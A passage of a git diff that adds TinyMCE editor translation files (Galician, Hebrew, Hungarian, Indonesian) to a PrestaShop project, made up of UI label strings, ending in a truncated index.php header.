sangr\u00eda","outdent_desc":"Reducir sangr\u00eda","numlist_desc":"Lista ordenada","bullist_desc":"Lista desordenada","justifyfull_desc":"Xustificar","justifyright_desc":"Ali\u00f1ar \u00e1 dereita","justifycenter_desc":"Ali\u00f1ar \u00f3 centro","justifyleft_desc":"Ali\u00f1ar \u00e1 esquerda","striketrough_desc":"Tachado","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":"","help_shortcut":"Press ALT-F10 for toolbar. Press ALT-0 for help","rich_text_area":"Rich Text Area","shortcuts_desc":"Accessability Help",toolbar:"Toolbar"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/gl_dlg.js b/js/tiny_mce2/themes/advanced/langs/gl_dlg.js new file mode 100755 index 0000000..279bc29 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/gl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('gl.advanced_dlg',{"link_list":"Lista de hiperv\u00ednculos","link_is_external":"A URL introducida semella ser un v\u00ednculo externo, \u00bfDesexa engadi-lo prefixo necesario http://?","link_is_email":"A URL introducida semella ser un enderezo de e-mail, \u00bfDesexa engadi-lo prefixo necesario mailto:?","link_titlefield":"T\u00edtulo","link_target_blank":"Abrir v\u00ednculo nunha vent\u00e1 nova","link_target_same":"Abrir v\u00ednculo na mesma vent\u00e1","link_target":"Obxetivo","link_url":"URL do enlace","link_title":"Insertar/editar enlace","image_align_right":"Dereita","image_align_left":"Esquerda","image_align_textbottom":"Texto abaixo","image_align_texttop":"Texto arriba","image_align_bottom":"Abaixo","image_align_middle":"Medio","image_align_top":"Arriba","image_align_baseline":"Li\u00f1a base","image_align":"Ali\u00f1aci\u00f3n","image_hspace":"Espacio horizontal","image_vspace":"Espacio vertical","image_dimensions":"Dimensi\u00f3n","image_alt":"Descripci\u00f3n da imaxe","image_list":"Lista de Imaxes","image_border":"Borde","image_src":"URL da imaxe","image_title":"Insertar/editar imaxe","charmap_title":"Seleccionar caracter personalizado","colorpicker_name":"Nome:","colorpicker_color":"Cor:","colorpicker_named_title":"Cores nomeados","colorpicker_named_tab":"Nomeados","colorpicker_palette_title":"Paleta de cores","colorpicker_palette_tab":"Paleta","colorpicker_picker_title":"Selector de cores","colorpicker_picker_tab":"Selector","colorpicker_title":"Seleccionar cor","code_wordwrap":"Cortar li\u00f1as autom\u00e1ticamente","code_title":"Editor HTML","anchor_name":"Nome da \u00e1ncora","anchor_title":"Insertar/editar \u00e1ncora","about_loaded":"Comprementos cargados","about_version":"Versi\u00f3n","about_author":"Autor","about_plugin":"Compremento","about_plugins":"Comprementos","about_license":"Licencia","about_help":"Axuda","about_general":"Sobre","about_title":"Sobre TinyMCE","anchor_invalid":"Please specify a valid anchor name.","accessibility_help":"Accessibility Help","accessibility_usage_title":"General Usage"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/he.js b/js/tiny_mce2/themes/advanced/langs/he.js new file mode 100755 index 0000000..2c50a4b --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/he.js @@ -0,0 +1 @@ +tinyMCE.addI18n('he.advanced',{"underline_desc":"\u05e7\u05d5 \u05ea\u05d7\u05ea\u05d5\u05df (Ctrl+U)","italic_desc":"\u05e0\u05d8\u05d5\u05d9 (Ctrl+I)","bold_desc":"\u05de\u05d5\u05d3\u05d2\u05e9 (Ctrl+B)",dd:"\u05d4\u05d2\u05d3\u05e8\u05ea \u05d4\u05de\u05d5\u05e9\u05d2",dt:"\u05de\u05d5\u05e9\u05d2",samp:"\u05d3\u05d5\u05d2\u05de\u05ea \u05e7\u05d5\u05d3",code:"\u05e7\u05d5\u05d3",blockquote:"\u05e6\u05d9\u05d8\u05d5\u05d8 \u05e7\u05d8\u05e2",h6:"\u05db\u05d5\u05ea\u05e8\u05ea 6",h5:"\u05db\u05d5\u05ea\u05e8\u05ea 5",h4:"\u05db\u05d5\u05ea\u05e8\u05ea 4",h3:"\u05db\u05d5\u05ea\u05e8\u05ea 3",h2:"\u05db\u05d5\u05ea\u05e8\u05ea 2",h1:"\u05db\u05d5\u05ea\u05e8\u05ea 1",pre:"Preformatted",address:"\u05db\u05ea\u05d5\u05d1\u05ea",div:"Div",paragraph:"\u05e4\u05e1\u05e7\u05d4",block:"\u05e2\u05d9\u05e6\u05d5\u05d1",fontdefault:"\u05d2\u05d5\u05e4\u05df","font_size":"\u05d2\u05d5\u05d3\u05dc \u05d2\u05d5\u05e4\u05df","style_select":"\u05e1\u05d2\u05e0\u05d5\u05e0\u05d5\u05ea","more_colors":"\u05e2\u05d5\u05d3 \u05e6\u05d1\u05e2\u05d9\u05dd","toolbar_focus":"\u05d4\u05e2\u05d1\u05e8\u05d4 \u05dc\u05e1\u05e8\u05d2\u05dc \u05d4\u05db\u05dc\u05d9\u05dd - Alt+Q, \u05d4\u05e2\u05d1\u05e8\u05d4 \u05dc\u05de\u05e2\u05d1\u05d3 \u05ea\u05de\u05dc\u05d9\u05dc\u05d9\u05dd - Alt-Z, \u05d4\u05e2\u05d1\u05e8\u05d4 \u05dc\u05e0\u05ea\u05d9\u05d1 \u05d4\u05d0\u05dc\u05de\u05d8\u05d9\u05dd - Alt-X",newdocument:"\u05d4\u05d0\u05dd \u05d1\u05e8\u05e6\u05d5\u05e0\u05da \u05dc\u05de\u05d7\u05d5\u05e7 \u05d0\u05ea \u05db\u05dc \u05d4\u05ea\u05d5\u05db\u05df?",path:"path","clipboard_msg":"\u05d4\u05e2\u05ea\u05e7/\u05d2\u05d6\u05d5\u05e8/\u05d4\u05d3\u05d1\u05e7 \u05dc\u05d0 \u05d6\u05de\u05d9\u05e0\u05d9\u05dd \u05d1 Mozilla \u05d5\u05d1-Firefox.\n \u05d4\u05d0\u05dd \u05d1\u05e8\u05e6\u05d5\u05e0\u05da \u05dc\u05e7\u05d1\u05dc \u05de\u05d9\u05d3\u05e2 \u05e0\u05d5\u05e1\u05e3 \u05e2\u05dc \u05d4\u05e0\u05d5\u05e9\u05d0?","blockquote_desc":"\u05e6\u05d9\u05d8\u05d5\u05d8","help_desc":"\u05e2\u05d6\u05e8\u05d4","newdocument_desc":"\u05de\u05e1\u05de\u05da \u05d7\u05d3\u05e9","image_props_desc":"\u05de\u05d0\u05e4\u05d9\u05d9\u05e0\u05d9 \u05d4\u05ea\u05de\u05d5\u05e0\u05d4","paste_desc":"\u05d4\u05d3\u05d1\u05e7\u05d4","copy_desc":"\u05d4\u05e2\u05ea\u05e7\u05d4","cut_desc":"\u05d2\u05d6\u05d9\u05e8\u05d4","anchor_desc":"\u05d4\u05d5\u05e1\u05e4\u05ea/\u05e2\u05e8\u05d9\u05db\u05ea \u05e1\u05d9\u05de\u05e0\u05d9\u05d4","visualaid_desc":"\u05d4\u05e6\u05d2\u05d4 \u05d0\u05d5 \u05d4\u05e1\u05ea\u05e8\u05d4 \u05e9\u05dc \u05e1\u05d9\u05de\u05d5\u05e0\u05d9 \u05e2\u05d9\u05e6\u05d5\u05d1","charmap_desc":"\u05d4\u05d5\u05e1\u05e4\u05ea \u05e1\u05d9\u05de\u05df","backcolor_desc":"\u05d1\u05d7\u05d9\u05e8\u05ea \u05e6\u05d1\u05e2 \u05e8\u05e7\u05e2","forecolor_desc":"\u05d1\u05d7\u05d9\u05e8\u05ea \u05e6\u05d1\u05e2 \u05d2\u05d5\u05e4\u05df","custom1_desc":"\u05d4\u05ea\u05d0\u05d5\u05e8 \u05e9\u05dc\u05da \u05db\u05d0\u05d5","removeformat_desc":"\u05d4\u05e1\u05e8\u05ea \u05e2\u05d9\u05e6\u05d5\u05d1","hr_desc":"\u05d4\u05d5\u05e1\u05e4\u05ea \u05e7\u05d5 \u05de\u05e4\u05e8\u05d9\u05d3","sup_desc":"\u05db\u05ea\u05d1 \u05ea\u05d7\u05ea\u05d9","sub_desc":"\u05db\u05ea\u05d1 \u05e2\u05d9\u05dc\u05d9","code_desc":"\u05e2\u05e8\u05d9\u05db\u05ea \u05e7\u05d5\u05d3 HTML","cleanup_desc":"\u05e0\u05d9\u05e7\u05d5\u05d9 \u05e7\u05d5\u05d3","image_desc":"\u05d4\u05d5\u05e1\u05e4\u05d4/\u05e2\u05e8\u05d9\u05db\u05ea \u05d3\u05e3 \u05ea\u05de\u05d5\u05e0\u05d4","unlink_desc":"\u05d4\u05e1\u05e8\u05ea \u05e7\u05d9\u05e9\u05d5\u05e8","link_desc":"\u05d4\u05d5\u05e1\u05e4\u05ea/\u05e2\u05e8\u05d9\u05db\u05ea \u05e7\u05d9\u05e9\u05d5\u05e8","redo_desc":"\u05d7\u05d6\u05e8\u05d4 \u05e2\u05dc \u05e4\u05e2\u05d5\u05dc\u05d4 (Ctrl+Y)","undo_desc":"\u05d1\u05d9\u05d8\u05d5\u05dc \u05e4\u05e2\u05d5\u05dc\u05d4 (Ctrl+Z)","indent_desc":"\u05d4\u05e7\u05d8\u05e0\u05ea \u05db\u05e0\u05d9\u05e1\u05d4","outdent_desc":"\u05d4\u05d2\u05d3\u05dc\u05ea \u05db\u05e0\u05d9\u05e1\u05d4","numlist_desc":"\u05de\u05e1\u05e4\u05d5\u05e8","bullist_desc":"\u05ea\u05d1\u05dc\u05d9\u05d8\u05d9\u05dd","justifyfull_desc":"\u05d9\u05d9\u05e9\u05d5\u05e8 \u05dc\u05e9\u05e0\u05d9 \u05d4\u05e6\u05d3\u05d3\u05d9\u05dd","justifyright_desc":"\u05d9\u05d9\u05e9\u05d5\u05e8 \u05d8\u05e7\u05e1\u05d8 \u05dc\u05d9\u05de\u05d9\u05df","justifycenter_desc":"\u05de\u05d9\u05e8\u05db\u05d5\u05d6 \u05d8\u05e7\u05e1\u05d8","justifyleft_desc":"\u05d9\u05d9\u05e9\u05d5\u05e8 \u05d8\u05e7\u05e1\u05d8 \u05dc\u05e9\u05de\u05d0\u05dc","striketrough_desc":"\u05e7\u05d5 \u05d7\u05d5\u05e6\u05d4","help_shortcut":"\u05dc\u05d7\u05e6/\u05d9 ALT-F10 \u05dc\u05e1\u05e8\u05d2\u05dc \u05d4\u05db\u05dc\u05d9\u05dd. \u05dc\u05d7\u05e6/\u05d9 ALT-0 \u05dc\u05e2\u05d6\u05e8\u05d4","rich_text_area":"\u05d0\u05d6\u05d5\u05e8 \u05e2\u05e8\u05d9\u05db\u05ea \u05d8\u05e7\u05e1\u05d8 \u05e2\u05e9\u05d9\u05e8","shortcuts_desc":"\u05e2\u05d6\u05e8\u05ea \u05d2\u05d9\u05e9\u05d4",toolbar:"\u05e1\u05e8\u05d2\u05dc \u05db\u05dc\u05d9\u05dd","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":""}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/he_dlg.js b/js/tiny_mce2/themes/advanced/langs/he_dlg.js new file mode 100755 index 0000000..7e84600 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/he_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('he.advanced_dlg',{"link_list":"\u05e8\u05e9\u05d9\u05de\u05ea \u05e7\u05d9\u05e9\u05d5\u05e8\u05d9\u05dd","link_is_external":"\u05db\u05ea\u05d5\u05d1\u05ea \u05d4-URL \u05e9\u05d4\u05d5\u05db\u05e0\u05e1\u05d4 \u05d4\u05d9\u05d0 \u05db\u05db\u05dc \u05d4\u05e0\u05e8\u05d0\u05d4 \u05e7\u05d9\u05e9\u05d5\u05e8 \u05d7\u05d9\u05e6\u05d5\u05e0\u05d9 \u05d4\u05d0\u05dd \u05d1\u05e8\u05e6\u05d5\u05e0\u05da \u05dc\u05d4\u05d5\u05e1\u05d9\u05e3 \u05d0\u05ea \u05d4\u05e7\u05d9\u05d3\u05d5\u05de\u05ea http:// \u05d4\u05e0\u05d3\u05e8\u05e9\u05ea?","link_is_email":"\u05db\u05ea\u05d5\u05d1\u05ea \u05d4-URL \u05e9\u05d4\u05d5\u05db\u05e0\u05e1\u05d4 \u05d4\u05d9\u05d0 \u05db\u05db\u05dc \u05d4\u05e0\u05e8\u05d0\u05d4 \u05db\u05ea\u05d5\u05d1\u05ea \u05de\u05d9\u05d9\u05dc \u05d4\u05d0\u05dd \u05d1\u05e8\u05e6\u05d5\u05e0\u05da \u05dc\u05d4\u05d5\u05e1\u05d9\u05e3 \u05d0\u05ea \u05d4\u05e7\u05d9\u05d3\u05d5\u05de\u05ea MAILTO \u05d4\u05e0\u05d3\u05e8\u05e9\u05ea?","link_titlefield":"\u05db\u05d5\u05ea\u05e8\u05ea","link_target_blank":"\u05e4\u05ea\u05d7 \u05e7\u05d9\u05e9\u05d5\u05e8 \u05d1\u05d7\u05dc\u05d5\u05df \u05d7\u05d3\u05e9","link_target_same":"\u05e4\u05ea\u05d7 \u05e7\u05d9\u05e9\u05d5\u05e8 \u05d1\u05d0\u05d5\u05ea\u05d5 \u05d7\u05dc\u05d5\u05df","link_target":"\u05d9\u05e2\u05d3","link_url":"\u05db\u05ea\u05d5\u05d1\u05ea \u05d4\u05e7\u05d9\u05e9\u05d5\u05e8","link_title":"\u05d4\u05d5\u05e1\u05e4\u05d4/\u05e2\u05e8\u05d9\u05db\u05ea \u05e7\u05d9\u05e9\u05d5\u05e8","image_align_right":"\u05d9\u05de\u05d9\u05df","image_align_left":"\u05e9\u05de\u05d0\u05dc","image_align_textbottom":"\u05e7\u05e6\u05d4 \u05d4\u05ea\u05d7\u05ea\u05d5\u05df \u05e9\u05dc \u05d4\u05d8\u05e7\u05e1\u05d8","image_align_texttop":"\u05e7\u05e6\u05d4 \u05d4\u05e2\u05dc\u05d9\u05d5\u05df \u05e9\u05dc \u05d4\u05d8\u05e7\u05e1\u05d8","image_align_bottom":"\u05e7\u05e6\u05d4 \u05d4\u05ea\u05d7\u05ea\u05d5\u05df","image_align_middle":"\u05d0\u05de\u05e6\u05e2","image_align_top":"\u05e7\u05e6\u05d4 \u05d4\u05e2\u05dc\u05d9\u05d5\u05df","image_align_baseline":"\u05e7\u05d5 \u05d4\u05d4\u05ea\u05d7\u05dc\u05d4","image_align":"\u05d9\u05d9\u05e9\u05d5\u05e8","image_hspace":"\u05e8\u05d5\u05d5\u05d7 \u05d0\u05d5\u05e4\u05e7\u05d9","image_vspace":"\u05e8\u05d5\u05d5\u05d7 \u05d0\u05e0\u05db\u05d9","image_dimensions":"\u05d2\u05d5\u05d3\u05dc","image_alt":"\u05ea\u05d9\u05d0\u05d5\u05e8","image_list":"\u05e8\u05e9\u05d9\u05de\u05d4","image_border":"\u05d2\u05d1\u05d5\u05dc","image_src":"\u05db\u05ea\u05d5\u05d1\u05ea:","image_title":"\u05d4\u05d5\u05e1\u05e4\u05d4/\u05e2\u05e8\u05d9\u05db\u05ea \u05ea\u05de\u05d5\u05e0\u05d4","charmap_title":"\u05d1\u05d7\u05d9\u05e8\u05ea \u05e1\u05d9\u05de\u05df","colorpicker_name":"\u05e9\u05dd:","colorpicker_color":"\u05e6\u05d1\u05e2:","colorpicker_named_title":"\u05e6\u05d1\u05e2\u05d9\u05dd \u05d1\u05e2\u05dc\u05d9 \u05e9\u05de\u05d5\u05ea","colorpicker_named_tab":"\u05e6\u05d1\u05e2\u05d9\u05dd \u05d1\u05e2\u05dc\u05d9 \u05e9\u05de\u05d5\u05ea","colorpicker_palette_title":"\u05dc\u05d5\u05d7 \u05e6\u05d1\u05e2\u05d9\u05dd","colorpicker_palette_tab":"\u05dc\u05d5\u05d7 \u05e6\u05d1\u05e2\u05d9\u05dd","colorpicker_picker_title":"\u05d1\u05d5\u05e8\u05e8 \u05d4\u05e6\u05d1\u05e2\u05d9\u05dd","colorpicker_picker_tab":"\u05d1\u05d5\u05e8\u05e8","colorpicker_title":"\u05d1\u05d7\u05d9\u05e8\u05ea \u05e6\u05d1\u05e2","code_wordwrap":"\u05d2\u05dc\u05d9\u05e9\u05ea \u05d8\u05e7\u05e1\u05d8","code_title":"\u05e2\u05d5\u05e8\u05da \u05d4-HTML","anchor_name":"\u05e9\u05dd \u05d4\u05e1\u05d9\u05de\u05e0\u05d9\u05d4","anchor_title":"\u05d4\u05d5\u05e1\u05e4\u05d4/\u05e2\u05e8\u05d9\u05db\u05ea \u05e1\u05d9\u05de\u05e0\u05d9\u05d4","about_loaded":"\u05ea\u05d5\u05e1\u05e4\u05d5\u05ea \u05e4\u05e2\u05d9\u05dc\u05d5\u05ea","about_version":"\u05d2\u05d9\u05e8\u05e1\u05d4","about_author":"\u05d9\u05d5\u05e6\u05e8","about_plugin":"\u05ea\u05d5\u05e1\u05e4\u05ea","about_plugins":"\u05ea\u05d5\u05e1\u05e4\u05d5\u05ea","about_license":"\u05e8\u05e9\u05d9\u05d5\u05df","about_help":"\u05e2\u05d6\u05e8\u05d4","about_general":"\u05d0\u05d5\u05d3\u05d5\u05ea","about_title":"\u05d0\u05d5\u05d3\u05d5\u05ea TinyMCE","charmap_usage":"\u05d4\u05e9\u05ea\u05de\u05e9/\u05d9 \u05d1\u05d7\u05d9\u05e6\u05d9\u05dd \u05dc\u05e0\u05d9\u05d5\u05d5\u05d8 \u05d9\u05de\u05d9\u05e0\u05d4 \u05d5\u05e9\u05de\u05d0\u05dc\u05d4","anchor_invalid":"\u05e0\u05d0 \u05dc\u05e6\u05d9\u05d9\u05df \u05e9\u05dd \u05d7\u05d5\u05e7\u05d9","accessibility_help":"\u05e2\u05d6\u05e8\u05d4 \u05d1\u05e0\u05d2\u05d9\u05e9\u05d5\u05ea","accessibility_usage_title":"\u05e9\u05d9\u05de\u05d5\u05e9 \u05db\u05dc\u05dc\u05d9"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/hu.js b/js/tiny_mce2/themes/advanced/langs/hu.js new file mode 100755 index 0000000..b5a0cbd --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/hu.js @@ -0,0 +1 @@ +tinyMCE.addI18n('hu.advanced',{"underline_desc":"Al\u00e1h\u00fazott (Ctrl+U)","italic_desc":"D\u0151lt (Ctrl+I)","bold_desc":"F\u00e9lk\u00f6v\u00e9r (Ctrl+B)",dd:"Defin\u00edci\u00f3 a defin\u00edci\u00f3s list\u00e1ban",dt:"Defini\u00e1lt kifejez\u00e9s a defin\u00edci\u00f3s list\u00e1ban",samp:"K\u00f3d minta",code:"K\u00f3d",blockquote:"Id\u00e9zet",h6:"C\u00edmsor 6",h5:"C\u00edmsor 5",h4:"C\u00edmsor 4",h3:"C\u00edmsor 3",h2:"C\u00edmsor 2",h1:"C\u00edmsor 1",pre:"El\u0151form\u00e1zott",address:"C\u00edm",div:"Div",paragraph:"Bekezd\u00e9s",block:"Form\u00e1tum",fontdefault:"Bet\u0171t\u00edpus","font_size":"Bet\u0171m\u00e9ret","style_select":"St\u00edlusok","image_delta_height":"","image_delta_width":"","more_colors":"Tov\u00e1bbi sz\u00ednek","toolbar_focus":"Eszk\u00f6zgombokra ugr\u00e1s - Alt+Q, Szerkeszt\u0151h\u00f6z ugr\u00e1s - Alt-Z, Elem\u00fatvonalhoz ugr\u00e1s - Alt-X",newdocument:"Biztosan t\u00f6rli az eddigi tartalmat?",path:"\u00datvonal","clipboard_msg":"A M\u00e1sol\u00e1s/Kiv\u00e1g\u00e1s/Besz\u00far\u00e1s funkci\u00f3k nem \u00e9rhet\u0151ek el Mozilla \u00e9s Firefox alatt. Szeretne t\u00f6bbet megtudni err\u0151l?","blockquote_desc":"Id\u00e9zet","help_desc":"Seg\u00edts\u00e9g","newdocument_desc":"\u00daj dokumentum","image_props_desc":"K\u00e9p tulajdons\u00e1gai","paste_desc":"Besz\u00far\u00e1s","copy_desc":"M\u00e1sol\u00e1s","cut_desc":"Kiv\u00e1g\u00e1s","anchor_desc":"Horgony besz\u00far\u00e1sa/szerkeszt\u00e9se","visualaid_desc":"Vezet\u0151vonalak/nem l\u00e1that\u00f3 elemek ki-/bekapcsol\u00e1sa","charmap_desc":"Speci\u00e1lis karakter besz\u00far\u00e1sa","backcolor_desc":"H\u00e1tt\u00e9rsz\u00edn v\u00e1laszt\u00e1sa","forecolor_desc":"Sz\u00f6vegsz\u00edn v\u00e1laszt\u00e1sa","custom1_desc":"Az \u00f6n egyedi le\u00edr\u00e1sa","removeformat_desc":"Form\u00e1z\u00e1s elt\u00e1vol\u00edt\u00e1sa","hr_desc":"V\u00edzszintes elv\u00e1laszt\u00f3 vonal besz\u00far\u00e1sa","sup_desc":"Fels\u0151 index","sub_desc":"Als\u00f3 index","code_desc":"HTML forr\u00e1s szerkeszt\u00e9se","cleanup_desc":"Minden form\u00e1z\u00e1s elt\u00e1vol\u00edt\u00e1sa","image_desc":"K\u00e9p besz\u00far\u00e1sa/szerkeszt\u00e9se","unlink_desc":"Link elt\u00e1vol\u00edt\u00e1sa","link_desc":"Link besz\u00far\u00e1sa/szerkeszt\u00e9se","redo_desc":"M\u00e9gis v\u00e9grehajt (Ctrl+Y)","undo_desc":"Visszavon\u00e1s (Ctrl+Z)","indent_desc":"Beh\u00faz\u00e1s n\u00f6vel\u00e9se","outdent_desc":"Beh\u00faz\u00e1s cs\u00f6kkent\u00e9se","numlist_desc":"Rendezett lista","bullist_desc":"Rendezetlen lista","justifyfull_desc":"Sorkiz\u00e1rt","justifyright_desc":"Jobbra z\u00e1rt","justifycenter_desc":"K\u00f6z\u00e9pre z\u00e1rt","justifyleft_desc":"Balra z\u00e1rt","striketrough_desc":"\u00c1th\u00fazott","help_shortcut":"Ugr\u00e1s az eszk\u00f6zt\u00e1rhoz: ALT-F10. Seg\u00edts\u00e9g: ALT-0.","rich_text_area":"Rich Text ter\u00fclet","shortcuts_desc":"El\u00e9rhet\u0151s\u00e9g s\u00fag\u00f3",toolbar:"Eszk\u00f6zt\u00e1r","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":""}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/hu_dlg.js b/js/tiny_mce2/themes/advanced/langs/hu_dlg.js new file mode 100755 index 0000000..33c197d --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/hu_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('hu.advanced_dlg',{"link_list":"Link lista","link_is_external":"A be\u00edrt internet c\u00edm k\u00fcls\u0151 hivatkoz\u00e1snak t\u0171nik, k\u00edv\u00e1nja a sz\u00fcks\u00e9ges http://-vel kieg\u00e9sz\u00edteni?","link_is_email":"A be\u00edrt internet c\u00edm e-mail c\u00edmnek t\u0171nik, k\u00edv\u00e1nja a sz\u00fcks\u00e9ges mailto:-val kieg\u00e9sz\u00edteni?","link_titlefield":"C\u00edm","link_target_blank":"\u00faj ablakba","link_target_same":"azonos ablakba","link_target":"Megnyit\u00e1s","link_url":"Internet c\u00edm","link_title":"Link besz\u00far\u00e1sa/szerkeszt\u00e9se","image_align_right":"Jobbra","image_align_left":"Balra","image_align_textbottom":"Sz\u00f6veg alj\u00e1hoz","image_align_texttop":"Sz\u00f6veg tetej\u00e9hez","image_align_bottom":"Lentre","image_align_middle":"K\u00f6z\u00e9pre","image_align_top":"Fentre","image_align_baseline":"Alapvonalhoz","image_align":"Igaz\u00edt\u00e1s","image_hspace":"V\u00edzszintes t\u00e1v","image_vspace":"F\u00fcgg\u0151leges t\u00e1v","image_dimensions":"M\u00e9retek","image_alt":"K\u00e9p le\u00edr\u00e1s","image_list":"K\u00e9p lista","image_border":"Keret","image_src":"K\u00e9p URL","image_title":"K\u00e9p besz\u00far\u00e1sa/szerkeszt\u00e9se","charmap_title":"Egyedi karakter v\u00e1laszt\u00e1sa","colorpicker_name":"N\u00e9v:","colorpicker_color":"Sz\u00edn:","colorpicker_named_title":"Elnevezett sz\u00ednek","colorpicker_named_tab":"Elnevezettek","colorpicker_palette_title":"Paletta sz\u00ednek","colorpicker_palette_tab":"Paletta","colorpicker_picker_title":"Sz\u00ednv\u00e1laszt\u00f3","colorpicker_picker_tab":"V\u00e1laszt\u00f3","colorpicker_title":"Sz\u00ednv\u00e1laszt\u00e1s","code_wordwrap":"Sz\u00f6veg t\u00f6rdel\u00e9se","code_title":"HTML forr\u00e1s szerkeszt\u00e9se","anchor_name":"Horgonyn\u00e9v","anchor_title":"Horgony besz\u00far\u00e1sa/szerkeszt\u00e9se","about_loaded":"Bet\u00f6lt\u00f6tt pluginok","about_version":"Verzi\u00f3","about_author":"Szerz\u0151","about_plugin":"Plugin","about_plugins":"Pluginok","about_license":"Licenc","about_help":"Seg\u00edts\u00e9g","about_general":"R\u00f3lunk","about_title":"A TinyMCE-r\u0151l","charmap_usage":"A navig\u00e1l\u00e1shoz haszn\u00e1ld a bal \u00e9s jobb oldali nyilat.","anchor_invalid":"Adjon meg egy helyes horgony nevet.","accessibility_help":"El\u00e9rhet\u0151s\u00e9g s\u00fag\u00f3","accessibility_usage_title":"\u00c1ltal\u00e1nos haszn\u00e1lat"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/id.js b/js/tiny_mce2/themes/advanced/langs/id.js new file mode 100755 index 0000000..cfd77b8 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/id.js @@ -0,0 +1 @@ +tinyMCE.addI18n('id.advanced',{"underline_desc":"Underline (Ctrl+U)","italic_desc":"Italic (Ctrl+I)","bold_desc":"Bold (Ctrl+B)",dd:"Definition description",dt:"Definition term ",samp:"Code sample",code:"Code",blockquote:"Blockquote",h6:"Heading 6",h5:"Heading 5",h4:"Heading 4",h3:"Heading 3",h2:"Heading 2",h1:"Heading 1",pre:"Preformatted",address:"Address",div:"Div",paragraph:"Paragraph",block:"Format",fontdefault:"Font family","font_size":"Font size","style_select":"Styles","more_colors":"More colors","toolbar_focus":"Jump to tool buttons - Alt+Q, Jump to editor - Alt-Z, Jump to element path - Alt-X",newdocument:"Yakin untuk menghapus semua konten?",path:"Path","clipboard_msg":"Copy/Cut/Paste tidak tersedia pada Mozilla dan Firefox.\nButuh info selengkapnya?","blockquote_desc":"Blockquote","help_desc":"Help","newdocument_desc":"New document","image_props_desc":"Image properties","paste_desc":"Paste","copy_desc":"Copy","cut_desc":"Cut","anchor_desc":"Insert/edit anchor","visualaid_desc":"Toggle guidelines/invisible elements","charmap_desc":"Insert custom character","backcolor_desc":"Pilih background color","forecolor_desc":"Pilih text color","custom1_desc":"Deskripsi disini","removeformat_desc":"Remove formatting","hr_desc":"Insert horizontal ruler","sup_desc":"Superscript","sub_desc":"Subscript","code_desc":"Edit HTML Source","cleanup_desc":"Cleanup messy code","image_desc":"Insert/edit image","unlink_desc":"Unlink","link_desc":"Insert/edit link","redo_desc":"Redo (Ctrl+Y)","undo_desc":"Undo (Ctrl+Z)","indent_desc":"Indent","outdent_desc":"Outdent","numlist_desc":"Ordered list","bullist_desc":"Unordered list","justifyfull_desc":"Align full","justifyright_desc":"Align right","justifycenter_desc":"Align center","justifyleft_desc":"Align left","striketrough_desc":"Strikethrough","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":"","help_shortcut":"Press ALT-F10 for toolbar. Press ALT-0 for help","rich_text_area":"Rich Text Area","shortcuts_desc":"Accessability Help",toolbar:"Toolbar"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/id_dlg.js b/js/tiny_mce2/themes/advanced/langs/id_dlg.js new file mode 100755 index 0000000..6d6ed32 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/id_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('id.advanced_dlg',{"link_list":"Daftar Link","link_is_external":"URL yang Anda sisipkan tampaknya link eksternal, Anda ingin menambahkan awalan \'http://\'?","link_is_email":"URL yang Anda sisipkan tampaknya e-mail, Anda ingin menambahkan awalan \'mailto:\'?","link_titlefield":"Judul","link_target_blank":"Buka link pada window baru","link_target_same":"Buka link pada window yang sama","link_target":"Target","link_url":"Link URL","link_title":"Insert/edit link","image_align_right":"Right","image_align_left":"Left","image_align_textbottom":"Text bottom","image_align_texttop":"Text top","image_align_bottom":"Bottom","image_align_middle":"Middle","image_align_top":"Top","image_align_baseline":"Baseline","image_align":"Alignment","image_hspace":"Horizontal space","image_vspace":"Vertical space","image_dimensions":"Dimensions","image_alt":"Image description","image_list":"Image list","image_border":"Border","image_src":"Image URL","image_title":"Insert/edit image","charmap_title":"Pilih custom character","colorpicker_name":"Name:","colorpicker_color":"Color:","colorpicker_named_title":"Named colors","colorpicker_named_tab":"Named","colorpicker_palette_title":"Palette colors","colorpicker_palette_tab":"Palette","colorpicker_picker_title":"Color picker","colorpicker_picker_tab":"Picker","colorpicker_title":"Select a color","code_wordwrap":"Word wrap","code_title":"HTML Source Editor","anchor_name":"Anchor name","anchor_title":"Insert/edit anchor","about_loaded":"Loaded plugins","about_version":"Versi","about_author":"Penulis","about_plugin":"Plugin","about_plugins":"Plugins","about_license":"Lisensi","about_help":"Bantuan","about_general":"Tentang","about_title":"Tentang TinyMCE","anchor_invalid":"Please specify a valid anchor name.","accessibility_help":"Accessibility Help","accessibility_usage_title":"General Usage"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/index.php b/js/tiny_mce2/themes/advanced/langs/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA 